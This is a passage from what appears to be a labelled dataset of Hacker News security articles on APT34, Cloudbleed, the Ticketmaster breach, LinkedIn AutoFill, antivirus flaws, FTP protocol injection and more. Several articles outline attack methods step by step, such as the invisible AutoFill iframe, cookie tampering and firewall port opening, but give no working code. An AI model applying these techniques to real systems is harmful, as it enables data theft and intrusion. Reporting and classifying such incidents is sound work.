Check Point notes that the use of new backdoor points to the group's ongoing efforts to overhaul and update their payload arsenal in the wake of a 2019 leak of its hacking tools, which also doxxed several officers of the Iranian Ministry of Intelligence who were involved with APT34 operations.
""Iran backed APT34 shows no sign of slowing down, further pushing its political agenda in the middle-east, with an ongoing focus on Lebanon — using offensive cyber operations,"" the researchers said. ""While maintaining its modus operandi and reusing old techniques, the group continues to create new and updated tools to minimize the possible detection of their tools by security vendors.""

",Malware
Million ASP.Net web sites affected with mass SQL injection attack,https://thehackernews.com/2011/10/million-aspnet-web-sites-affected-with.html,"Million ASP.Net web sites affected with mass SQL injection attack
Hackers are in the midst of a massively successful SQL injection attack targeting websites built on Microsoft's ASP.Net platform. About 180,000 pages have been affected so far, security researchers say.

Attackers have planted malicious JavaScript on ASP.Net sites that causes the browser to load an iframe with one of two remote sites: www3.strongdefenseiz.in and www2.safetosecurity.rr.nu, according to security researchers at Armorize who discovered the attack. From there, the iframe attempts to plant malware on the visitor's PC via a number of browser drive-by exploits.

A drive-by exploit will load malware without a visitor's knowledge or participation (no need to open a file or click on a link). Fortunately, the attackers are using known exploits, with patches available, so the attack can only be successful if a visitor is using an outdated, unpatched browser without the latest version of Adobe PDF or Adobe Flash or Java.

Unfortunately, Armorize says that only a few of the most popular antivirus vendors can detect the dropped malware, according to the Virustotal web site. Virtustotal is a security monitoring service offered by Hispasec Sistemas that analyzes suspicious files and URLs. At this time, it says that six antivirus packages out of the 43 it monitors can detect this latest SQL injection attack.

These are AntiVir, ByteHero, Fortinet, Jiangmin, McAfee and McAfee-GW-Edition.The attack is targeting users whose default browser language is English, French, German, Italian, Polish or Breton. One of the sites accessed via the iframe is in Russia, the other is in the United States and is hosted by HostForWeb.com, Armorize says. Some of the planted malware accesses a site hosted in the United States, too.

Users are advised to take advantage of NoScript in order to protect themselves from this, and many other Web based threats.

",Malware
Chameleon Virus that Spreads Across WiFi Access Points like Common Cold,https://thehackernews.com/2014/02/chameleon-virus-that-spreads-across.html,"Do you know, A Computer viruses could go Airborne over WiFi networks? Security researchers at the University of Liverpool in Britain have demonstrated a WiFi virus that can spread between computer networks just like the 'common cold' spreads between Humans.

They have created a proof-of-concept which can infect the entire wireless network instead of a single computer at a time, that replaces the firmware of the vulnerable Access Point (AP) with a virus-loaded version, and then propagates itself to the next victim on the WiFi network.

The WiFi based virus named as 'Chameleon', that can self-propagate over WiFi networks from access point to access point, but doesn't affect the working of the Wireless Access Point.

This Virus is able to identify WiFi access points that are not protected by encryption and passwords, according to the research paper. It can badly hit less-protected open access WiFi networks available in coffee shops or airports.

It propagates in the following sequence:
It Establish a list of susceptible APs within the range
Bypass any encryption Security on the targeted AP
Bypass the administrative interface on the targeted AP
Identify and Store AP System Settings
Replace the AP firmware on with the virus-loaded firmware.
Import the victim original AP System Settings on newly loaded firmware
Let's Propagate! Back to Step one to next Target.
The experimental simulated demonstration was performed in two cities i.e. Belfast, NI and London, England.
Laboratory setup
A random access point was made infected with the virus which act as a seed, the results were published in the paper.

The Chameleon attack is a serious threat for WiFi network security. The research shows that this kind of attack is undetectable to any Antivirus and Wireless Intrusion Detection System (IDS).
""Hence, this attack is considered advanced and difficult to detect, as IDS rogue AP detection methods typically rely on a change in credentials, location or traffic levels.""
The Density of Access points in a certain geographical area increases the security issues for wireless networks, because it spreads very quickly at high speed in an area having denser Access Point availability.
""WiFi connections are increasingly a target for computer hackers because of well-documented security vulnerabilities, which make it difficult to detect and defend against a virus,"" says Marshall, Co-author of the research paper.
However, the virus itself doesn't exist in the wild and created for the demo purpose in the research lab only, though it is very likely that a malicious version could be created and released into the wild by cyber criminals and malware writers.

",Malware
Serious Bug Exposes Sensitive Data From Millions Sites Sitting Behind CloudFlare,https://thehackernews.com/2017/02/cloudflare-vulnerability.html,"A severe security vulnerability has been discovered in the CloudFlare content delivery network that has caused big-name websites to expose private session keys and other sensitive data.

CloudFlare, a content delivery network (CDN) and web security provider that helps optimize safety and performance of over 5.5 Million websites on the Internet, is warning its customers of the critical bug that could have exposed a range of sensitive information, including passwords, and cookies and tokens used to authenticate users.

Dubbed Cloudbleed, the nasty flaw is named after the Heartbleed bug that was discovered in 2014, but believed to be worse than Heartbleed.

The vulnerability is so severe that it not only affects websites on the CloudFlare network but affects mobile apps as well.

What exactly is ""Cloudbleed,"" how it works, how are you affected by this bug, and how you can protect yourself? Let's figure it out.

What is Cloudbleed?

Discovered by Google Project Zero security researcher Tavis Ormandy over a week ago, Cloudbleed is a major flaw in the Cloudflare Internet infrastructure service that causes the leakage of private session keys and other sensitive information across websites hosted behind Cloudflare.

CloudFlare acts as a proxy between the user and web server, which caches content for websites that sits behind its global network and lowers the number of requests to the original host server by parsing content through Cloudflare's edge servers for optimization and security.

Almost a week ago, Ormandy discovered a buffer overflow issue with Cloudflare's edge servers that were running past the end of a buffer and were returning memory containing private data like HTTP cookies, authentication tokens, and HTTP POST bodies, with some of the leaked data already cached by search engines.

Here's How Serious is Cloudbleed:

""I'm finding private messages from major dating sites, full messages from a well-known chat service, online password manager data, frames from adult video sites, hotel bookings,"" Ormandy wrote in a blog post that was also published Thursday. ""We're talking full HTTPS requests, client IP addresses, full responses, cookies, passwords, keys, data, everything.""
According to Ormandy, Cloudflare had code in its ""ScrapeShield"" feature that did something similar to this:
int Length = ObfuscateEmailAddressesInHtml(&OutputBuffer, CachedPage);
write(fd, OutputBuffer, Length);
But the company was not checking if the obfuscation parsers returned a negative value because of malicious HTML.

The Cloudflare's ""ScrapeShield"" feature parses and obfuscates HTML, but since reverse proxies are shared among customers, it would affect all CloudFlare customers.

Ormandy contacted Cloudflare and reported it about his findings. The company identified the cause of the issue, and immediately disabled 3 minor Cloudflare features — Email obfuscation, Server-side Excludes, as well as Automatic HTTPS Rewrites — that were using the same HTML parser chain, which was causing the leakage.

Ormandy observed encryption keys, passwords, cookies, chunks of POST data, and HTTPS requests for the other leading Cloudflare-hosted websites from other users and immediately contacted Cloudflare.

Since CloudFlare patched the issue but did not notify customers by Wednesday of the data leak issue, Ormandy made public his findings on Thursday, following Project Zero's seven-day policy for actively exploited attacks.

Following Ormandy's public disclosure of the vulnerability on Thursday, CloudFlare confirmed the flaw, ensuring its customers that their SSL private keys were not leaked.
""Cloudflare has always terminated SSL connections through an isolated instance of NGINX that was not affected by this bug,"" Cloudflare CTO John Graham-Cumming wrote in a blog post. ""The bug was serious because the leaked memory could contain private information and because it had been cached by search engines.""
""We are disclosing this problem now as we are satisfied that search engine caches have now been cleared of sensitive information,"" he added. ""We have also not discovered any evidence of malicious exploits of the bug or other reports of its existence.""

The Root Cause of Cloudbleed:

The root cause of the Cloudbleed vulnerability was that ""reaching the end of a buffer was checked using the equality operator and a pointer was able to step past the end of the buffer.""

""Had the check been done using >= instead of == jumping over the buffer end would have been caught,"" said Cumming.

Cloudflare has also confirmed that the greatest period of impact was between February 13 and February 18 with almost one in every 3,300,000 HTTP requests via Cloudflare potentially resulting in memory leakage, which is about 0.00003% of requests.

However, the researcher argued that the DNS provider was double-dealing, claiming that the Cloudbleed vulnerability had existed for months, based on Google's cached data.

How Does Cloudbleed Affect You?

There are a large number of Cloudflare's services and websites that use parsing HTML pages and modify them through the Cloudflare's edge servers.

Even if you do not use CloudFlare directly, that does not mean that you are spared. There is always a chance that websites you visit and web services you use may have been affected, leaking your data as well.

Of course, if you are using Cloudflare services in front of your site, the flaw could impact you, exposing sensitive information that flowed between your servers and end-users through CloudFlare's proxies.

While CloudFlare's service was rapidly patched the bug and has said the actual impact is relatively minor, data was leaking constantly before this — for months.

Some of this leaked data were publicly cached in search engines such as Google, Bing, Yahoo, who now removed it, but some engines like DuckDuckGo still host those data.

Also, other leaked data might exist in other services and caches throughout the Web, which is impossible to delete across all of these locations.

Cloudbleed Also Affects Mobile Apps

Cloudbleed also affects mobile apps, because, in many cases, the apps are designed to make use of the same backends as browsers for content delivery and HTTPS (SSL/TLS) termination.

Users on YCombinator have confirmed the presence of HTTP header data for apps like Discord, FitBit, and Uber by searching through DuckDuckGo caches with targeted search terms.

In an analysis conducted by NowSecure, the researchers have discovered some 200 iOS apps that identified as using Cloudflare services from a sampling of some 3,500 of the most popular apps on the app store.

There is always a possibility of someone discovering this vulnerability before Tavis, and may have been actively exploiting it, although there is no evidence to support this theory.

Some of the Cloudflare's major customers affected by the vulnerability included Uber, 1Password, FitBit, and OKCupid. However, in a blog post published by 1Password, the company assured its users that no sensitive data was exposed because the service was encrypted in transit.

However, a list of websites that have potentially been impacted by this bug has been published by a user, who go by the name of 'pirate,' on GitHub, which also included CoinBase, 4Chan, BitPay, DigitalOcean, Medium, ProductHunt, Transferwise, The Pirate Bay, Extra Torrent, BitDefender, Pastebin, Zoho, Feedly, Ashley Madison, Bleeping Computer, The Register, and many more.

Since CloudFlare does not yet provide the list of affected services, bear in mind that this is not a comprehensive list.

What should You do about the Cloudbleed bug?

Online users are strongly recommended to reset their passwords for all accounts in case you have reused the same passwords on every site, as well as monitor account activity closely as cleanup is underway.

Moreover, customers who are using Cloudflare for their websites are advised to force a password change for all of their users.

Update: Uber representative reached out to me via an email and said their investigation revealed that the CloudBleed bug exposed no passwords of their customers. Here's the statement provided by Uber:

""Very little Uber traffic actually goes through Cloudflare, so only a handful of tokens were involved and have since been changed. Passwords were not exposed.""

Meanwhile, DuckDuckGo spokesperson also reached out to The Hacker News and said the search engine has removed the leaked data from DuckDuckGo.

",Vulnerability
Password reset Vulnerability in Facebook Employees Secure Files Transfer service,https://thehackernews.com/2013/01/how-facebook-employees-secure-files.html,"Many be many of you are not aware about this, but Facebook having a Secure Files Transfer service for their Employees at https://files.fb.com and Hacker reported a very critical password reset vulnerability.

Nir Goldshlager, a researcher told 'The Hacker News' that how he defeat Facebook's Secure Files Transfer service and help Facebook by reporting them about this issue in a responsible non-disclosure way till patch.

After analyzing the site, he found that the script Facebook is using is actually ""Accellion Secure File Sharing Service"" script and so next he download the demo version of service from Accellion website and explore the source codes and file locations.

He found that, there is a user registration page also available in source, that was also on files.fb.com. Unfortunately Facebook had removed the Sign up option (link) from homepage, but forget to remove the registration page from its actual location i.e (/courier/web/1000@/wmReg.html).

So this way, Goldshlager was able to make an account on the site for further pentest. He found that the demo source code of the service is encrypted by ionCube PHP Encoder, and decryption of many parts of the source code was not possible by him.

Source code of a web application is like a treasure for a penetration tester, once you have source code, you can look for many critical web application vulnerabilities easily. Anyway, he drop that idea because source code is encrypted.

There is a Password Recovery page (wmPassupdate.html) also available on site, which was actually allowing anyone to reset the passwords of any account. Goldshlager notice that when one request to reset the password of his account, the page was validating the user by a cookie called ""referer"" that contained the email ID of same logged in user but encrypted in Base64.

Finally, Goldshlager hack the Facebook Employees Secure Files Transfer service by tampering the values of cookies equals to the victim email ID and Password parameters. This way he was able to reset the password of Facebook Employees using this critical flaw. Flaw was reported by him and now patched by Facebook.

Video Demonstration by Nir Goldshlager

",Vulnerability
Ticketmaster Suffers Security Breach – Personal and Payment Data Stolen,https://thehackernews.com/2018/06/ticketmaster-data-breach.html,"Global entertainment ticketing service Ticketmaster has admitted that the company has suffered a security breach, warning customers that their personal and payment information may have been accessed by an unknown third-party.

The company has blamed a third-party support customer service chat application for the data breach that believed to affect tens of thousands of its customers.

The customer support chat application, made by Inbenta Technologies—a third-party artificial intelligence tech supplier—used to help major websites interact with their customers.

In its statement, Ticketmaster said it discovered malicious software on the customer support application hosted on its UK website that allowed attackers to extract the personal and payment information from its customers buying tickets.

Ticketmaster disabled the Inbenta product across all of its websites as soon as it recognized the malicious code.

However, Inbenta Technologies turned away blame back to Ticketmaster, saying that the ticketing service deployed the chat application improperly on its website.
""Upon further investigation by both parties, it has been confirmed that the source of the data breach was a single piece of JavaScript code, that was customized by Inbenta to meet Ticketmaster's particular requirements,"" Inbenta chief executive Jordi Torras said in a statement.
""This code is not part of any of Inbenta's products or present in any of our other implementations. Ticketmaster directly applied the script to its payments page, without notifying our team.""
Inbenta said by applying this Javascript to the payment page, Ticketmaster presented attackers with ""a point of vulnerability that affects the capacity for web forms to upload files,"" allowing attackers to locate, modify, and use the script to ""extract the payment information of Ticketmaster customers processed between February and June 2018.""

Compromised information includes name, address, email address, telephone number, payment details and Ticketmaster login details of its customers.
""Forensic teams and security experts are working around the clock to understand how the data was compromised,"" Ticketmaster said. ""We are working with relevant authorities, as well as credit card companies and banks.""
Neither Ticketmaster nor Inbenta did say the number of customers affected by the incident, but the ticketing service did confirm that less than 5% of its global customer base has been affected.

Inbenta is entirely confident that no other customer of Inbenta has been compromised in any way, and that the incident has ""nothing to do with any of its industry-leading AI and machine learning products,"" which serve hundreds of customers on six continents.
""We can fully assure our customers and end-users that no other implementation of Inbenta across any of our products or customer deployments has been affected,"" Inbenta said.
Ticketmaster said that it has emailed all affected customers, and is offering 12 months of free identity monitoring service for those who have been impacted.

Affected customers are also advised to keep a close eye on their bank account transactions for signs of any suspicious activity, and immediately notify their banks if found any.

Users are also advised to be cautious if they receive any suspicious or unrecognized phone call, text message, or email from anyone saying you must pay taxes or a debt immediately—even if they provide your personal information.

",Cyber_Attack
Apple Removes macOS Feature That Allowed Apps to Bypass Firewall Security,https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html,"Apple has removed a controversial feature from its macOS operating system that allowed the company's own first-party apps to bypass content filters, VPNs, and third-party firewalls.
Called ""ContentFilterExclusionList,"" it included a list of as many as 50 Apple apps like iCloud, Maps, Music, FaceTime, HomeKit, the App Store, and its software update service that were routed through Network Extension Framework, effectively circumventing firewall protections.
This exclusion list has been scrubbed now from macOS 11.2 beta 2.
The issue first came to light last October following the release of macOS Big Sur, prompting concerns from security researchers who said the feature was ripe for abuse, adding it could be leveraged by an attacker to exfiltrate sensitive data by piggybacking it on to legitimate Apple apps included on the list and then bypass firewalls and security software.
""After lots of bad press and lots of feedback/bug reports to Apple from developers such as myself, it seems wiser (more security conscious) minds at Cupertino prevailed,"" said Patrick Wardle, a principal security researcher with Jamf, last week.
Researchers, including Wardle, found last year that Apple's apps were being excluded from NEFilterDataProvider, a network content filter that makes it possible for firewall and VPN apps such as LuLu and Little Snitch to monitor and control data traffic from installed apps on the system.
Wardle demonstrated an instance of how malicious apps could exploit this firewall bypass to transmit data to an attacker-controlled server using a simple Python script that latched the traffic onto an Apple exempted app despite setting LuLu and Little Snitch to block all outgoing connections on a Mac running Big Sur.
With this new change, socket filter firewalls such as LuLu can now comprehensively filter/block all network traffic, including those from Apple apps.
The updates come as Apple deprecated support for Network Kernel Extensions in 2019 in favor of Network Extensions Framework.
We have reached out to Apple, and we'll update the story if we hear back.

",Malware
Hackers Using Fake Trump's Scandal Video to Spread QNode Malware,https://thehackernews.com/2021/01/hackers-using-fake-trumps-scandal-video.html,"Cybesecurity researchers today revealed a new malspam campaign that distributes a remote access Trojan (RAT) by purporting to contain a sex scandal video of U.S. President Donald Trump.
The emails, which carry with the subject line ""GOOD LOAN OFFER!!,"" come attached with a Java archive (JAR) file called ""TRUMP_SEX_SCANDAL_VIDEO.jar,"" which, when downloaded, installs Qua or Quaverse RAT (QRAT) onto the infiltrated system.
""We suspect that the bad guys are attempting to ride the frenzy brought about by the recently concluded Presidential elections since the filename they used on the attachment is totally unrelated to the email's theme,"" Trustwave's Senior Security Researcher Diana Lopera said in a write-up published today.
The latest campaign is a variant of the Windows-based QRAT downloader Trustwave researchers discovered in August.
The infection chain starts with a spam message containing an embedded attachment or a link pointing to a malicious zip file, either of which retrieves a JAR file (""Spec#0034.jar"") that's scrambled using the Allatori Java obfuscator.
This first stage downloader sets up the Node.Js platform onto the system and then downloads and executes a second-stage downloader called ""wizard.js"" that's responsible for achieving persistence and fetching and running the Qnode RAT (""qnode-win32-ia32.js"") from an attacker-controlled server.
QRAT is a typical remote access Trojan with various features including, obtaining system information, performing file operations, and acquiring credentials from applications such as Google Chrome, Firefox, Thunderbird, and Microsoft Outlook.
What's changed this time around is the inclusion of a new pop-up alert that informs the victim that the JAR being run is a remote access software used for penetration testing. This also means the sample's malicious behavior only begins to manifest once the user clicks the ""Ok, I know what I am doing."" button.
""This pop-up is a little odd and is perhaps an attempt to make the application look legitimate, or deflect responsibility from the original software authors,"" Lopera noted.
Furthermore, the malicious code of the JAR downloader is split-up into different randomly-numbered buffers in an attempt to evade detection.
Other changes include an overall increase in the JAR file size and the elimination of the second-stage downloader in favor of an updated malware chain that immediately fetches the QRAT payload now called ""boot.js.""
For its part, the RAT has received its own share of updates, with the code now encrypted with base64 encoding, in addition to taking charge of persisting on the target system via a VBS script.
""This threat has been significantly enhanced over the past few months since we first examined it,"" Topera concluded, urging administrators to block the incoming JARs in their email security gateways.
""While the attachment payload has some improvements over previous versions, the email campaign itself was rather amateurish, and we believe that the chance this threat will be delivered successfully is higher if only the email was more sophisticated.""

",Malware
Flaw in LinkedIn AutoFill Plugin Lets Third-Party Sites Steal Your Data,https://thehackernews.com/2018/04/linkedin-account-hack.html,"Not just Facebook, a new vulnerability discovered in Linkedin's popular AutoFill functionality found leaking its users' sensitive information to third party websites without the user even knowing about it.

LinkedIn provides an AutoFill plugin for a long time that other websites can use to let LinkedIn users quickly fill in profile data, including their full name, phone number, email address, ZIP code, company and job title, with a single click.

In general, the AutoFill button only works on specifically ""whitelisted websites,"" but 18-year-old security researcher Jack Cable of Lightning Security said it is not just the case.

Cable discovered that the feature was plagued with a simple yet important security vulnerability that potentially enabled any website (scrapers) secretly harvest user profile data and the user would not even realize of the event.

A legitimate website would likely place a AutoFill button near the fields the button can fill, but according to Cable, an attacker could secretly use the AutoFill feature on his website by changing its properties to spread the button across the entire web page and then make it invisible.

Since the AutoFill button is invisible, users clicking anywhere on the website would trigger AutoFill, eventually sending all of their public as well as private data requested to the malicious website, Cable explains.

Here's How attackers can exploit the LinkedIn Flaw:
User visits the malicious website, which loads the LinkedIn AutoFill button iframe.
The iframe is styled in a way that it takes up the entire page and is invisible to the user.
The user then clicks anywhere on that page, and LinkedIn interprets this as the AutoFill button being pressed and sends the users' data via postMessage to the malicious site.
Cable discovered the vulnerability on April 9th and immediately disclosed it to LinkedIn. The company issued a temporary fix the next day without informing the public of the issue.

The fix only restricted the use of LinkedIn's AutoFill feature to whitelisted websites only who pay LinkedIn to host their advertisements, but Cable argued that the patch was incomplete and still left the feature open to abuse as whitelisted sites still could have collected user data.

Besides this, if any of the sites whitelisted by LinkedIn gets compromised, the AutoFill feature could be abused to send the collected data to malicious third-parties.

To demonstrate the issue, Cable also built a proof-of-concept test page, which shows how a website can grab your first and last name, email address, employer, and location.

Since a complete fix for the vulnerability was rolled out by LinkedIn on April 19, the above demo page might not work for you now.
""We immediately prevented unauthorized use of this feature, once we were made aware of the issue. We are now pushing another fix that will address potential additional abuse cases, and it will be in place shortly,"" the company said in a statement.
""While we've seen no signs of abuse, we're constantly working to ensure our members' data stays protected. We appreciate the researcher responsible reporting this, and our security team will continue to stay in touch with them.""
Although the vulnerability is not at all a sophisticated or critical one, given the recent Cambridge Analytica scandal wherein data of over 87 million Facebook users was exposed, such security loopholes can pose a serious threat not only to the customers but also the company itself.

",Vulnerability
New Flaws in Top Antivirus Software Could Make Computers More Vulnerable,https://thehackernews.com/2020/10/antivirus-software-vulnerabilities.html,"Cybersecurity researchers today disclosed details of security vulnerabilities found in popular antivirus solutions that could enable attackers to elevate their privileges, thereby helping malware sustain its foothold on the compromised systems.
According to a report published by CyberArk researcher Eran Shimony today and shared with The Hacker News, the high privileges often associated with anti-malware products render them more vulnerable to exploitation via file manipulation attacks, resulting in a scenario where malware gains elevated permissions on the system.
The bugs impact a wide range of antivirus solutions, including those from Kaspersky, McAfee, Symantec, Fortinet, Check Point, Trend Micro, Avira, and Microsoft Defender, each of which has been fixed by the respective vendor.
Chief among the flaws is the ability to delete files from arbitrary locations, allowing the attacker to delete any file in the system, as well as a file corruption vulnerability that permits a bad actor to eliminate the content of any file in the system.
Per CyberArk, the bugs result from default DACLs (short for Discretionary Access Control Lists) for the ""C:\ProgramData"" folder of Windows, which are by applications to store data for standard users without requiring additional permissions.
Given that every user has both write and delete permission on the base level of the directory, it raises the likelihood of a privilege escalation when a non-privileged process creates a new folder in ""ProgramData"" that could be later accessed by a privileged process.
Antivirus
Vulnerability
Kaspersky Security Center CVE-2020-25043, CVE-2020-25044, CVE-2020-25045
McAfee Endpoint Security and McAfee Total Protection CVE-2020-7250, CVE-2020-7310
Symantec Norton Power Eraser CVE-2019-1954
Fortinet FortiClient CVE-2020-9290
Check Point ZoneAlarm and Check Point Endpoint Security CVE-2019-8452
Trend Micro HouseCall for Home Networks CVE-2019-19688, CVE-2019-19689, and three more unassigned flaws
Avira CVE-2020-13903
Microsoft Defender CVE-2019-1161
In one case, it was observed that two different processes — one privileged and the other run as an authenticated local user — shared the same log file, potentially allowing an attacker to exploit the privileged process to delete the file and create a symbolic link that would point to any desired arbitrary file with malicious content.
Subsequently, CyberArk researchers also explored the possibility of creating a new folder in ""C:\ProgramData"" before a privileged process is executed.
In doing so, they found that when McAfee antivirus installer is run after creating the ""McAfee"" folder, the standard user has full control over the directory, allowing the local user to gain elevated permissions by performing a symlink attack.
To top it all, a DLL hijacking flaw in Trend Micro, Fortinet, and other antivirus solutions could have been exploited by an attacker to place a malicious DLL file into the application directory and elevate privileges.
Urging that access control lists must be restrictive to prevent arbitrary delete vulnerabilities, CyberArk stressed the need to update the installation frameworks to mitigate DLL Hijacking attacks.
While these issues may have been addressed, the report serves as a reminder that weaknesses in software, including those that aim to offer antivirus protection, can be a conduit for malware.
""The implications of these bugs are often full privilege escalation of the local system,"" CyberArk researchers said. Due to the high privilege level of security products, an error in them could help malware to sustain its foothold and cause more damage to the organization.""

",Malware
Google Chrome to Help Users Identify Untrusted Extensions Before Installation,https://thehackernews.com/2021/06/google-chrome-to-help-users-identify.html,"Google on Thursday said it's rolling out new security features to Chrome browser aimed at detecting suspicious downloads and extensions via its Enhanced Safe Browsing feature, which it launched a year ago.
To this end, the search giant said it will now offer additional protections when users attempt to install a new extension from the Chrome Web Store, notifying if it can be considered ""trusted.""
Currently, 75% of all add-ons on the platform are compliant, the company pointed out, adding ""any extensions built by a developer who follows the Chrome Web Store Developer Program Policies, will be considered trusted by Enhanced Safe Browsing.""
Enhanced Safe Browsing involves sharing real-time data with Google Safe Browsing to proactively safeguard users against dangerous sites. The company also noted that its integration with Safe Browsing's blocklist API helped improve privacy and security, with the number of malicious extensions disabled by the browser jumping by 81%.
Also coming to Chrome is a new download protection feature that scans downloaded files for malware by using metadata about the downloaded file, alongside giving users the option to send the file to be scanned for a more in depth analysis.
""If you choose to send the file, Chrome will upload it to Google Safe Browsing, which will scan it using its static and dynamic analysis classifiers in real time,"" Google said. ""After a short wait, if Safe Browsing determines the file is unsafe, Chrome will display a warning.""
Despite the file being labeled as potentially dangerous, users still have the option to open the file without scanning. Should users opt to scan the file, the company said the uploaded files are deleted from Safe Browsing a short time after scanning.
While it didn't specify the exact timeframe for when this removal would happen, in accordance with Google Chrome Privacy Whitepaper, the company ""logs the transferred data in its raw form and retains this data for up to 30 days"" for all Safe Browsing requests, after which only anonymized statistics are retained.
The new features are available starting with Chrome 91, the version of the browser that was released on May 26. Users can turn on Enhanced Safe Browsing by visiting Settings > Privacy and security > Security > Enhanced protection.

",Malware
Unpatched Python and Java Flaws Let Hackers Bypass Firewall Using FTP Injection,https://thehackernews.com/2017/02/python-java-ftp-protocol-injection.html,"This newly discovered bugs in Java and Python is a big deal today.

The two popular programming languages, Java and Python, contain similar security flaws that can be exploited to send unauthorized emails and bypass any firewall defenses.

And since both the flaws remain unpatched, hackers can take advantage to design potential cyber attack operations against critical networks and infrastructures.

The unpatched flaws actually reside in the way Java and Python programming languages handle File Transfer Protocol (FTP) links, where they don't syntax-check the username parameter, which leads to, what researchers call, protocol injection flaw.

Java/Python FTP Injection to Send Unauthorized SMTP Emails
In a blog post published over the past week, security researcher Alexander Klink detailed the FTP protocol injection vulnerability in Java's XML eXternal Entity (XXE) that allows attackers to inject non-FTP malicious commands inside an FTP connection request.

To demonstrate the attack, Alexander showed how to send an unauthorized email via SMTP (Simple Mail Transfer Protocol) in an FTP connection attempt, even though the FTP connection failed, as FTP servers does support authentication, but doesn't check for the present of carriage returns (CR) or line feeds (LF) in usernames.
""This attack is particularly interesting in a scenario where you can reach an (unrestricted, maybe not even spam- or malware-filtering) internal mail server from the machine doing the XML parsing,"" Alexander concluded.

Java/Python FTP Injections Allow to Bypass Firewall

However, two days later in a separate security advisory, security researcher Timothy Morgan from Blindspot Security came forward with his findings, showing more threatening exploitation scenario where the FTP URL handlers in both Java and Python can be used to bypass firewalls.

Morgan said such FTP protocol injection flaw could be used to trick a victim's firewall into accepting TCP connections from the web to the vulnerable host's system on its ""high"" ports (from 1024 to 65535).

Besides the FTP protocol injection attack, there's reside a decade old security issue in FTP protocol called classic mode FTP – an insecure mechanism of client-server FTP interactions, but many firewall vendors still support it by default.

When a classic mode FTP connection is initiated, the firewall temporarily opens a port – typically between 1024 and 65535 – specified in the PORT command, which introduces security risks.

Using the FTP protocol injection issue in Java and Python, an attacker who knows the targeted host's internal IP address can start a classic mode FTP connection, which attackers can use for nefarious purposes.

Morgan has determined that an attacker can open up one port in the targeted firewall with only three requests:
Identify the victim's internal IP address – this requires an attacker to ""send an URL, see how the client behaves, then try another until the attack is successful.""
Determine packet alignment and ensure that the PORT command is injected at the right moment, making the attack work.
Exploit the vulnerability.

Each additional request can be used to open up another TCP port.

Easily Exploitable Protocol Injection Flaw

However, the researcher warned that his exploit could be used for man-in-the-middle (MitM) attacks, server-side request forgery (SSRF), an XEE attack and more – and once bypassed the firewall, desktop hosts can be attacked even if they do not have Java installed.

All an attacker need is to convince victims into accessing a malicious Java or Python applications installed on a server to bypass the entire firewall.
""If a desktop user could be convinced to visit a malicious website while Java is installed, even if Java applets are disabled, they could still trigger Java Web Start to parse a JNLP (Java Network Launch Protocol) file,"" Morgan said. ""These files could contain malicious FTP URLs which trigger this bug.""
""Also note, that since Java parses JNLP files before presenting the user with any security warnings, the attack can be entirely successful without any indication to the user (unless the browser itself warns the user about Java Web Start being launched).""
According to Morgan, a nearly identical flaw also exists in Python's urllib2 and urllib libraries, although ""this injection appears to be limited to attacks via directory names specified in the URL.""

Protocol Injection Flaw Is Still Unpatched

Morgan said the FTP protocol injection flaw was reported to the Python team in January 2016 and Oracle in November 2016 by his company, but neither of the two has issued any update to address the issue.

Morgan has developed a proof-of-concept (PoC) exploit but is currently holding back publication of his exploit until Oracle and Python respond to the disclosure and release patches.

The Morgan's exploit has successfully been tested against Palo Alto Networks and Cisco ASA firewalls, though researchers believe many commercial firewalls are also vulnerable to FTP stream injection attacks.

So until patches become available, Morgan suggests users uninstall Java on their desktops and in browsers, as well as disable support for ""classic mode"" FTP on all firewalls.

",Vulnerability
Guccifer 2.0 Leaks Personal Info of Nearly 200 Congressional Democrats,https://thehackernews.com/2016/08/guccifer-hack-dccc.html,"The hacker, who recently claimed responsibility for the high-profile hack of Democratic National Committee (DNC), has now taken credit for hacking into the Democratic Congressional Campaign Committee (DCCC) as well.

To prove his claims, the hacker, going by the moniker Guccifer 2.0, dumped on Friday night a massive amount of personal information belonging to nearly 200 Democratic House members onto his blog.

The notorious hacker published several documents that include cell phone numbers, home addresses, official and personal e-mail addresses, names of staffers, and other personal information for the entire roster of Democratic representatives.

The data dump also includes several memos from House Minority Leader Nancy Pelosi's personal computer, detailing fundraisers and campaign overviews.

""As you see the US presidential elections are becoming a farce, a big political performance where the voters are far from playing the leading role,"" the hacker wrote in a blog post. ""Everything is being settled behind the scenes as it was with Bernie Sanders.""

What's more worrisome?

The leaked data dump includes passwords to access multiple DCCC accounts as well as coordinated shared passwords used by the committee.

The Guccifer 2.0 is the same hacker who claimed responsibility for the recent widespread DNC hack last month, although the United States officials believed he's actually a persona created by Russian government hackers to influence the US presidential election.

WikiLeaks published nearly 20,000 emails from top DNC officials that were obtained from Guccifer 2.0's previous hack.

However, Guccifer 2.0 has dismissed any connection to Russia, but in his blog post, he called the US political system a ""farce,"" in which voters are no longer playing any leading role.

Guccifer 2.0 said the DCCC hacking was ""even easier than in the case of the DNC breach.""

In response to the latest leak, Representative of the House Permanent Select Committee on Intelligence Adam Schiff released the following statement:

""The unauthorized disclosure of people's personally identifiable information is never acceptable, and we can fully expect the authorities will be investigating the posting of this information.""

Although Guccifer 2.0 said this latest leak is for people who have ""right to know what's going on inside the election process,"" not a single leaked documents appear to prove this, rather they disclosed personal details and choice of passwords by the Democrats.

",Data_Breaches
"Facebook Awards $50,000 Under Its New 'Internet Defense Prize' Program",https://thehackernews.com/2014/08/facebook-awards-50000-under-its-new.html,"Along with a dream to make Internet access available to everyone across the world, Facebook founder Mark Zuckerberg is working to make the Internet a more secure place as well.

Till now, a number of large technology companies have bug bounty programs to reward researchers and cyber enthusiast who contribute in the security of Internet by finding out security holes in software or web platforms, and the social networking giant Facebook is the latest one to do so.

Facebook and Usenix have together implemented the Internet Defense Prize — an award recognizing superior quality research that combines a working prototype with great contributions to securing the Internet, Facebook announced Thursday at the annual USENIX Security Symposium in San Diego.

Also, Facebook announced the first award under its Internet Defense Prize, and crowned a pair of German researchers for their paper, ""Static Detection of Second-Order Vulnerabilities in Web Applications"" — a seemingly viable approach to detecting vulnerabilities in web applications.

The duo used static approach to detect ""Second-order vulnerabilities"" in web applications that are used to impose harm after being stored on the web server ahead of time. Second-order vulnerabilities involve uploading malicious script/payload to the targeted web servers, allowing an attacker to exploit it remotely.
""For example, XSS attacks that target the application's users are worse if the payload is stored in a shared resource and distributed to all users,"" paper explained.
